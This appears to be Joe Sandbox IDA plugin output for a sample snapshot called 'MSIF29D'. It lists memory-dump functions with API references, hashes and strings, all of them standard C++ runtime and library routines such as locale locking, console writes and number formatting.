Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: b04d029a23a4909b7304a82e25048d35dbe54b01679ce56111395e363d047a22
Instruction ID: 248199db712e70fbcb49db24ae045f29b5bf04b89c1dd6b5ee0b78b8d4f2fe1e
Opcode Fuzzy Hash: b04d029a23a4909b7304a82e25048d35dbe54b01679ce56111395e363d047a22
Instruction Fuzzy Hash: B001A171D0021ADBCB16FBA0D942BAD7765BF94720F24050DE50167292CF789E02EB91

Function 00FCEC56 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCEC5D
std::_Lockit::_Lockit.LIBCPMT ref: 00FCEC67

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FCECB8
std::_Lockit::~_Lockit.LIBCPMT ref: 00FCECD8

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 541eea7b5d3818a760b37f3968090e829849028974d78e0d07c977bbeeb68a7e
Instruction ID: c299ed490b367248f831209715e6a48d5e0845f375ec7f1343f762300c169c14
Opcode Fuzzy Hash: 541eea7b5d3818a760b37f3968090e829849028974d78e0d07c977bbeeb68a7e
Instruction Fuzzy Hash: 40016172D0011ADBCB16FBA4D946BAD7B66BF84720F25040DF50167291DF789A01EB91

Function 00FC2C4A Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2C51
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2C5B

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC2CAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2CCC

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 62ae3b01918f53c158814a30132a4f1dbd31c630080598f19457918f5341d805
Instruction ID: 382a64274e0b8a05a5c36709fec57af1cefef87b1e295c0c5759ded7e4d94ed9
Opcode Fuzzy Hash: 62ae3b01918f53c158814a30132a4f1dbd31c630080598f19457918f5341d805
Instruction Fuzzy Hash: 0901AD7690111ADBCB16EBA4DA42BBE77A5AF80720F24040DF5016B381CF799A01EBA1

Function 00FC2E9E Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2EA5
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2EAF

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC2F00
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2F20

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: c85fd895ee46104cb6cd44a77000753d9722aac50c4e25f8f85e64bcf7b831af
Instruction ID: f619a8184ffafa76418fdb55c3205b883a628dd233e3f6109b30f441e9800f21
Opcode Fuzzy Hash: c85fd895ee46104cb6cd44a77000753d9722aac50c4e25f8f85e64bcf7b831af
Instruction Fuzzy Hash: 4201847590011ADBCB16EBA4DD42BBD7775BF84710F24050DF51067291CF789E01EBA1

Function 00FC2E09 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2E10
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2E1A

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC2E6B
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2E8B

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 238e81ebf7e57a99cbd84e37e10c42b27fec81685fc1bb7ca7b5e4d16385e1ed
Instruction ID: 5d6adbdcb283d5816de252d49aa79f9ca06320ac81c848d390f67eeb1b3917a8
Opcode Fuzzy Hash: 238e81ebf7e57a99cbd84e37e10c42b27fec81685fc1bb7ca7b5e4d16385e1ed
Instruction Fuzzy Hash: 1501A17690011ADBCB16EBA4C902BBE7765BF94710F24050DE50067291CF789A05EB91

Function 00FC2F33 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2F3A
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2F44

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC2F95
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2FB5

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: de17326c13c25658b95ee421fab75561d4df18f9f0c1347d820f655748b33024
Instruction ID: 96f8454480e2562e25fcad3b4479fbe41dbf4bf932e66936e01d33d9a3d92b8a
Opcode Fuzzy Hash: de17326c13c25658b95ee421fab75561d4df18f9f0c1347d820f655748b33024
Instruction Fuzzy Hash: 1201A17290011ADBCB15EBA4DD02BBDB776BF84720F24040DF50067291CF789E01EB91

Function 00FF3686 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00FF3053,?,00000001,?,?,?,00FF2198,?,?,00000000), ref: 00FF369D
GetLastError.KERNEL32(?,00FF3053,?,00000001,?,?,?,00FF2198,?,?,00000000,?,?,?,00FF271F,?), ref: 00FF36A9

Part of subcall function 00FF366F: CloseHandle.KERNEL32(FFFFFFFE,00FF36B9,?,00FF3053,?,00000001,?,?,?,00FF2198,?,?,00000000,?,?), ref: 00FF367F

___initconout.LIBCMT ref: 00FF36B9

Part of subcall function 00FF3631: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00FF3660,00FF3040,?,?,00FF2198,?,?,00000000,?), ref: 00FF3644

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00FF3053,?,00000001,?,?,?,00FF2198,?,?,00000000,?), ref: 00FF36CE

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3f2e2301d68b77df2228f1ade81e598a417a16f66645df3a7546c6df98b102be
Instruction ID: efda6c52796df75854ba139f4378453a48dccf7bfe1c0cb5959fe55e4b330ecd
Opcode Fuzzy Hash: 3f2e2301d68b77df2228f1ade81e598a417a16f66645df3a7546c6df98b102be
Instruction Fuzzy Hash: 62F0F83690421CBBCF222F959C04DA97F6AFF493A1B004050FB1996230DA328920FB90

Function 00FD2D20 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00FD2CBD,00000064), ref: 00FD2D43
LeaveCriticalSection.KERNEL32(0100DD3C,?,?,00FD2CBD,00000064,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2D4D
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00FD2CBD,00000064,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2D5E
EnterCriticalSection.KERNEL32(0100DD3C,?,00FD2CBD,00000064,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2D65

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 9107ed09de7c810045b101a10948d63428ee6f7b21d6f71ed536433eec1437e0
Instruction ID: 42568e59eef2f7675212bdd1cae22484f930d244300e3c52fa2fcbe10b853763
Opcode Fuzzy Hash: 9107ed09de7c810045b101a10948d63428ee6f7b21d6f71ed536433eec1437e0
Instruction Fuzzy Hash: 0AE0D832505628BBDB233BC4EC08AAE7F2EEF04B11F040053F54666171CB650A00EBF2

Function 00FBEC87 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FBEC8E

Part of subcall function 00FBD87C: __EH_prolog3.LIBCMT ref: 00FBD883
Part of subcall function 00FBD87C: std::_Lockit::_Lockit.LIBCPMT ref: 00FBD88D
Part of subcall function 00FBD87C: std::_Lockit::~_Lockit.LIBCPMT ref: 00FBD8FE

_Find_elem.LIBCPMT ref: 00FBEE8A

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00FBECF6

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: b88b8a52d6b50230c0e1242dd2ac9e771c26d84e7c297d169c6b2ac10df1accb
Instruction ID: abfd76e5e42950eea06d34a9774fdd0ce98eb7dfd97c357453383f3312a12130
Opcode Fuzzy Hash: b88b8a52d6b50230c0e1242dd2ac9e771c26d84e7c297d169c6b2ac10df1accb
Instruction Fuzzy Hash: DCC1A034E042888EDF25DFA5C9407FCBBB2AF55310F2840A9E8856B287CB749D46EF51

Function 00FC62BE Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FC62C8

Part of subcall function 00FC2D74: __EH_prolog3.LIBCMT ref: 00FC2D7B
Part of subcall function 00FC2D74: std::_Lockit::_Lockit.LIBCPMT ref: 00FC2D85
Part of subcall function 00FC2D74: std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2DF6

_Find_elem.LIBCPMT ref: 00FC6502

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00FC633F

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2544715827-2799312399
Opcode ID: 47053bb784ad00e024fee3f359785e205074ecc8e01cfdc16ee06f3dd49cafb5
Instruction ID: 1e2e1cdab164f431c09c2891385cf9c19a1b65b5e940d60597a64ae693089eb8
Opcode Fuzzy Hash: 47053bb784ad00e024fee3f359785e205074ecc8e01cfdc16ee06f3dd49cafb5
Instruction Fuzzy Hash: DFC1C670E0825A8BDF25DF64CA42FACBBB1BF54314F58809DD845EB286DB349C85EB50

Function 00FC6694 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FC669E

Part of subcall function 00FBB8B0: std::_Lockit::_Lockit.LIBCPMT ref: 00FBB8DD
Part of subcall function 00FBB8B0: std::_Lockit::_Lockit.LIBCPMT ref: 00FBB900
Part of subcall function 00FBB8B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00FBB928
Part of subcall function 00FBB8B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00FBB9B7

_Find_elem.LIBCPMT ref: 00FC68D8

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00FC6715

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 3042121994-2799312399
Opcode ID: 3cbbc0dd53b7d193b0bc61761a93fe069c63dd17ccc0cf0e657d8e29e2acd675
Instruction ID: 4d37766df30196eb11d7b4bbb2a20bccc582316538ad0dbb74a40b850dd95d32
Opcode Fuzzy Hash: 3cbbc0dd53b7d193b0bc61761a93fe069c63dd17ccc0cf0e657d8e29e2acd675
Instruction Fuzzy Hash: 3EC19630D0825A8BDF25DF64CA46BBCBBB2BF55314F54809DD485EB282DB348D85EB50

Function 00FE1A6D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00FE1AFD

Strings

pow, xrefs: 00FE1AD5, 00FE1AF2

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 7795d0b36ea3bc85fb8ec6e232a63016952886e55b16e0924611454eaac0fddf
Instruction ID: 65e384c583febae4d9d6aa0f9406b4a91cf839c7832214ff3997ebddd93cd471
Opcode Fuzzy Hash: 7795d0b36ea3bc85fb8ec6e232a63016952886e55b16e0924611454eaac0fddf
Instruction Fuzzy Hash: 25514B71E09185DACB117B17CD0137A7794BF80B20F304D69E0D5821A9FE3A9C95FA87

Function 00FD1E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00FD1FD1

Strings

-, xrefs: 00FD1FFF
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00FD1F2F, 00FD1F66, 00FD1F6B

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: 00a7dd60d03f484bed8719fb5ebf5c8ef9e6558851eadae42cfac1c781bba588
Instruction ID: 50de929baa59c5b296c45e08503077ec152872c57ffd6a0c8b6364c6a00af754
Opcode Fuzzy Hash: 00a7dd60d03f484bed8719fb5ebf5c8ef9e6558851eadae42cfac1c781bba588
Instruction Fuzzy Hash: 4F510031F04289AADB258FA888857BEBBB7BF45360F1C405BE891D7341C3749941FB61

Function 00FBBD90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00FBBF6E

Strings

true, xrefs: 00FBBEAB
false, xrefs: 00FBBE95

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: 46375ccb1b61ed047cd758d2ade78d2ce57ae915d9c59f6667b436a51dce39e3
Instruction ID: 98082287415a752c1340a93efc4984f76223ae0457113cc2c50daae19824fca7
Opcode Fuzzy Hash: 46375ccb1b61ed047cd758d2ade78d2ce57ae915d9c59f6667b436a51dce39e3
Instruction Fuzzy Hash: 4251C4B1D003489FDB10DFA5CD41BEEB7B8FF05314F14426AE845AB281E775AA45CB91

Function 00FB70A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 00FB7173, 00FB71CE
\\?\, xrefs: 00FB71E3, 00FB7210

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: 10712abadaa69c700cb701246c7cb9cb3432398418e386a52e8442b6db00733c
Instruction ID: ca1426a865996e7976aa610501c77421f39ae96b7637ec433900a6c79a2fcee3
Opcode Fuzzy Hash: 10712abadaa69c700cb701246c7cb9cb3432398418e386a52e8442b6db00733c
Instruction Fuzzy Hash: 3B519E70A143049BDB14EF6ACC45BEEB7B5FF85314F14451DE441AB280DBB5A984DFA0

Function 00FCD4FA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FCD501
_swprintf.LIBCMT ref: 00FCD573

Part of subcall function 00FC254E: __EH_prolog3.LIBCMT ref: 00FC2555
Part of subcall function 00FC254E: std::_Lockit::_Lockit.LIBCPMT ref: 00FC255F
Part of subcall function 00FC254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00FC25D0

Part of subcall function 00FC2FC8: __EH_prolog3.LIBCMT ref: 00FC2FCF

Strings

%.0Lf, xrefs: 00FCD56B

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$H_prolog3_Lockit::_Lockit::~__swprintf
String ID: %.0Lf
API String ID: 3050236999-1402515088
Opcode ID: c2415ecc9936e47c45117dadda14a4fdde77c26dcc871df60b7678fa003146de
Instruction ID: a769011b6281a800aa73935652163a68964ad84e187be105b25203a091bc6a62
Opcode Fuzzy Hash: c2415ecc9936e47c45117dadda14a4fdde77c26dcc871df60b7678fa003146de
Instruction Fuzzy Hash: 3C419B71E002099BCF05EFD0CD46AED7BB5FF08304F148459E845AB295DB759915EF90

Function 00FCD79E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FCD7A5
_swprintf.LIBCMT ref: 00FCD817

Part of subcall function 00FB8610: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8657
Part of subcall function 00FB8610: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8679
Part of subcall function 00FB8610: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB86A1
Part of subcall function 00FB8610: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB880E

Strings

%.0Lf, xrefs: 00FCD80F

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 905dbe3f8cdaf2104c177b14071faaa924622f83fa66fdac0800b3dd163ec225
Instruction ID: ed9376ca0b4ced660a803088a9d77593ebf02646600b717f0818272cdec6a96d
Opcode Fuzzy Hash: 905dbe3f8cdaf2104c177b14071faaa924622f83fa66fdac0800b3dd163ec225
Instruction Fuzzy Hash: 78418B72E00209ABCF05EFD0DD45AEE7BB5FF08300F204459E945AB295EB78A915EF90

Function 00FD1887 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FD188E
_swprintf.LIBCMT ref: 00FD1900

Part of subcall function 00FB9270: std::_Lockit::_Lockit.LIBCPMT ref: 00FB92A0
Part of subcall function 00FB9270: std::_Lockit::_Lockit.LIBCPMT ref: 00FB92C2
Part of subcall function 00FB9270: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB92EA
Part of subcall function 00FB9270: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB9422

Strings

%.0Lf, xrefs: 00FD18F8

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
